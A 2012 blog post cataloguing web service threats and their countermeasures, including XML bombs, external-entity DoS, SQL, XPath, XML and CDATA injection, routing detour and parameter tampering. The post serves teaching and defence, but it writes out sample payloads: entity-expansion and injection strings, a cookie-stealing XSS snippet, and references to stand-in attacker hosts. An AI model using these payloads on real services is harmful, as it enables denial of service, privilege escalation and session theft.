Denial of Service (DoS)

Oversize payload / Recursive XML

<attack1>
  <attack2>
        .... nested 10000 elements
            <attack10002> .... big data ....  <attack10002> ....

Countermeasure: limit the message size with gateway/firewall, XSD restriction length, limit nested element deep, don't use maxoccurs="unbounded" in XSD.
While we can also limit the message using application-server setting or XSD validation in the proxy, it's better to reject the messages as early as possible (e.g. in the gateway with XML firewall) before the message burden the load balances and application-servers.
Use throttling (also in the log file generation).

Entity Expansion / XML bomb

Excessive/recursive reference to entity to overwhelm the server, e.g.

<!DOCTYPE s[
<!ENTITY x0 "hack">
<!ENTITY x1 "&x0;&x0;">
... Entities from x1 to x99... 
<!ENTITY x100 "&x99;&x99;">
]>
...
 <soapenv:Body>
  ...
  <s>&x100;</s>

Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

XML External Entity DOS

Entity reference to external resources (e.g. a huge file) to overwhelm the server, e.g.

<!DOCTYPE order [
<!ELEMENT foo ANY >
<!ENTITY hack SYSTEM "http://malicious.kom/bigfile.exe" >
]>
...
 <soapenv:Body>
   ...
   <foo>&hack;</foo>

Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

Malformed XML

To overwhelm the server with exceptions, e.g. omitting XML closing tag or wrong date-time format.
Countermeasure: XSD validation.

Weak XML definitions

e.g. <any> element which allows any additional elements
Countermeasure: prevent the use of <any>.

Buffer overflow

Oversize message to override variables / operation address, DoS attack
Countermeasure: use programming language/frameworks which is more safe regarding buffer overflow (e.g. Java), bounds checking.

Non-content attacks

The DOS attacks described above mainly are content-based by sending malicious / oversize contents. But web services are indirectly also vulnerable to non -content attacks (e.g. SYNC-flood) that will overwhelm the network infrastructure (firewall, switch/router).
Countermeasure: using firewall/switch/router with anti DOS filtering features such as TCP splicing/protocol analyzer, bogus filtering, anomalies detection, rate limiting.

Command Injection

SQL injection

Manipulate the parameters such that it will run a malicious sql statement in the database.
e.g. <password>' or 1=1 </password>
Countermeasure: XSD validation, sanitize

Xpath injection

e.g.
//user[name/text()='Admin' and password/text()='' or '1' = '1'
or use union | to extend query.
Countermeasure: XSD validation, sanitize

XML Injection

Web service input:
Username: tony
Password: Un6R34kb!e</password><!–
E-mail: --><role>admin</role><mail>s4tan@hackers.com

The result in the xml database:
<user>
<username>tony</username>
<password>Un6R34kb!e</password><role>admin</role><mail>s4tan@hackers.com</mail>
</user>

So I change the default role guest to admin.

Countermeasure: XSD validation, sanitize (e.g. encode <,>)

XSS using CDATA Injection
Vulnerabilities when you use display the WS responds to web page or evaluate the responds as Ajax objects, e.g.to reveal sessionID in the client cookie:
<![CDATA[<]]>script<![CDATA[>]]>alert(document.cookie) <![CDATA[<]]>/script<![CDATA[>]]>
Countermeasure: XSD validation, sanitize (e.g. encode <,>)

Execute binary files or system call command

The attack methods above (e.g. SQL injectrion, XML injection) can be used to run system commands using the databases / XML processors features (e.g. XSLT exec())
Countermeasure: XSD validation

Malicious Reference

Routing Detour

The attacker change the reference address in http-header/WS-Routing/WS-Addressing, e.g.

<wsa:ReplyTo>
  <wsa:Address>http://hackersWS</wsa:Address>
</wsa:ReplyTo>

Countermeasure: SSL

Reference Redirect

Reference to malicious external reference. e.g.

<sig:Signature>
  ....
  <sig:Reference URI="http://maliciousweb/VERYBIGFILE.DAT">

Countermeasure: prohibit reference to resource outside the document.

Impersonation

Malicious/ web service with the similar interface (wsdl)
Countermeasure: protect the web service reference from man in the middle attack with SSL. Use certificate authentication.

Authentication (WSS or transport-level)

Weak password

The attacker guest the password (e.g. using brute-force / dictionary attack)
Countermeasure: use stronger authentication (e.g. certificate based, multi factor authentication), enforce strong password (e.g. minimum length & character sets), lockout account after multiple authentication failures, don't give clue to the hackers e.g. "valid username but wrong password".

Reply attack

The attacker capture the authentication token (e.g. password, session-token) and then reuse it in his request.
Countermeasure: one time nonce/password digest, SSL, use certificate-based authentication

Authorisation

URL transversal attack

e.g. the hacker knows the Restful WS endpoint

GET http://library/booklist/?title="hacking"

the attacker might try

GET http://library/secretdocumentlist/?title="hacking"

Countermeasure: ACL on the URL tree.

Web parameter manipulation attack

REST WS e.g.

GET http://library/secretdocumentlist/?role="employee"
GET http://library/secretdocumentlist/?role="boss"

Countermeasure: ACL. Don't make security decision base on URL params (sessionID, username, role) .

Illegal Web method

e.g. The attacket know the Restful-WS url for GET operation to get the data, he can try POST operation to modify the data.
Countermeasure: ACL for method access.

Encryption

Weak cryptography

Countermeasure: Use well-proven encryption algorithms (e.g. AES) in well-proven libraries instead of inventing and implementing your own algorithm. Protect your key.

Failure to encrypt the messages

You don't use encryption, the attackers can capture your authentication token and use it to impersonate you.
Countermeasure: Use encryption (e.g. SSL or WSS & XML-Encryption)

Messages are not protected in the immediateries

You use point to point encryption SSL but inside the intermmediateries your message is decrypted. The immediateries can read your sensitive data and use it for his advantage.
Countermeasure: Use end to end encryption (WSS & XML-Encryption)

Data tampering

An attacker modifies your message for his advantage.
Countermeasure: signature and encryption (WSS & XML-Encryption)

Schema poisoning/ metadata spoofing

Maliciously changing the WSDL (e.g. to redirect the service address to malicious web, to manipulate data types, to remove security policy) or manipulating the security policy document (to lower security requirement), e.g.

<wsdl:port name="WSPort" binding="tns:WSBinding">
  <soap:address location="http://hacker.kom/maliciousWS"/>
</wsdl:port>

Countermeasure: check the authenticity of metadata (e.g. signing), use SSL to avoid man in the middle attack

Repudiation

A client refuses to acknowledge that he has misused the user-aggreement (e.g. perform dictionary attack against web-service authentication).
Countermeasure: keep client message signature in the log. Protect the log files.

Infomation disclosure

WSDL disclosure

WSDL contains many information for the attacker (operations, message format).
Countermeasure: protect the wsdl endpoint with ACL/firewall. Use robot.txt to avoid the wsdl appears in google.

UDDI disclosure

UDDI gives the attacker information about wsdl location.
Countermeasure: don't publish the wsdl in UDDI

Error message

Attacker send failure messages/DOS attack such that the web service will return error messages which can reveal information (e.g. database server address, database vendor).
Countermeasure: don't publish sensitive information (e.g. connection string) in the error message. Sanitize error message (e.g. the stacktrace)

Testing Tools

• SOAPUI
• WSDigger
• WSFuzzer

Security checklist:

http://soa-java.blogspot.nl/2012/09/security-checklists.html

Web service message level security WS-Security (WSS) and transport level security (TLS):
http://soa-java.blogspot.nl/2013/04/web-service-security-message-level-vs.html

Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com

References:

• SOA Security by Kanneganti

Oracle Service Bus 11g Development Cookbook by Schmutz & Biemond et.al.

Developing Web Services with Apache CXF and Axis2 by Tong

• Ws-Attacks.Org
• Web Service Hacking, Progress Actional Whitepaper
• OWASP Web Service Security Cheat Sheet
• Attacks on Web Services By Bidou
• Web Services Security By Negm, Forum Systems Inc.
• OWASP Top Ten Web Services Vulnerabilities By Morana
• Http://Www.Soapui.Org/Soap-And-Wsdl/Web-Service-Hacking.Html
• NIST guide secure web service
• http://clawslab.nds.rub.de/wiki/index.php/XML_C14N_Entity_Expansion
• http://clawslab.nds.rub.de/wiki/index.php/XML_External_Entity_DOS
• http://projects.webappsec.org/w/page/13247004/XML%20Injection
• http://clawslab.nds.rub.de/wiki/index.php/Routing_Detour
• http://clawslab.nds.rub.de/wiki/index.php/Reference_Redirect

Monday, September 17, 2012

Web Service Security: Threats & Countermeasures